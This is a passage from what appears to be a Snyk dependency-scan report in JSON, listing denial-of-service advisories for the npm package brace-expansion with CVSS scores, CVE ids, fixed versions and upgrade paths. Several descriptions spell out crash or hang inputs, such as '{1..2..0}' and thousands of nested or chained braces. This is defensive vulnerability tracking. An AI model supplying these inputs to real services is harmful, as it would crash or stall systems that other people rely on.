"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
